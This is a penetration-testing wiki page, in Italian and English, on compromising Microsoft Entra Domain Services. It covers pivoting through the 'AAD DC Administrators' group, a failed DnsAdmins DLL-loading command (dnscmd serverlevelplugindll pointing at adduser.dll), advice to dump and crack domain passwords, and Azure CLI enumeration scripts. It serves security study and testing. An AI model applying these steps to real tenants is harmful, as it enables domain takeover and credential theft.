# Az - Microsoft Entra Domain Services

{{#include ../../../banners/hacktricks-training.md}}

## Servizi di dominio

Microsoft Entra Domain Services permette di distribuire un Active Directory in Azure senza dover gestire i Domain Controller (in realtà non hai nemmeno accesso a essi).

Il suo obiettivo principale è permettere di eseguire applicazioni legacy nel cloud che non possono usare metodi di autenticazione moderni, oppure quando non si vuole che le ricerche nella directory vadano sempre a ritroso verso un ambiente AD DS on-premise.

Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) nel domain service AD è necessario **cambiare la password dell'utente** con una nuova affinché possa essere sincronizzata con il nuovo AD. In effetti, l'utente non viene sincronizzato da Microsoft Entra ID a Domain Services fino a quando la password non viene cambiata.

> [!WARNING]
> Anche se stai creando un nuovo dominio Active Directory non potrai gestirlo completamente (a meno di non sfruttare qualche misconfigurazione), il che significa che per default, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **sincronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.

> [!NOTE]
> In generale, a causa della scarsa flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante conoscere come comprometterla.

### Pivoting

I membri del gruppo generato **`AAD DC Administrators`** ottengono permessi di amministratore locale sulle VM che sono joinate al dominio gestito (ma non sui domain controller) perché vengono aggiunti nel gruppo degli amministratori locali. I membri di questo gruppo possono anche usare **Desktop remoto per connettersi alle VM joinate al dominio**, e sono inoltre membri dei gruppi:

- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sugli RODC (Read-Only Domain Controllers).
- **`Group Policy Creators Owners`**: Questo gruppo permette ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare le group policy agli utenti o ai gruppi né modificare i GPO esistenti, quindi non è particolarmente rilevante in questo ambiente.
- **`DnsAdmins`**: Questo gruppo permette di gestire le impostazioni DNS ed è stato abusato in passato per [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente si è verificato che la vulnerabilità è stata patchata:
```text
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5
```
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.

Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**

However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.

> [!NOTE]
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"
```
{{#include ../../../banners/hacktricks-training.md}}
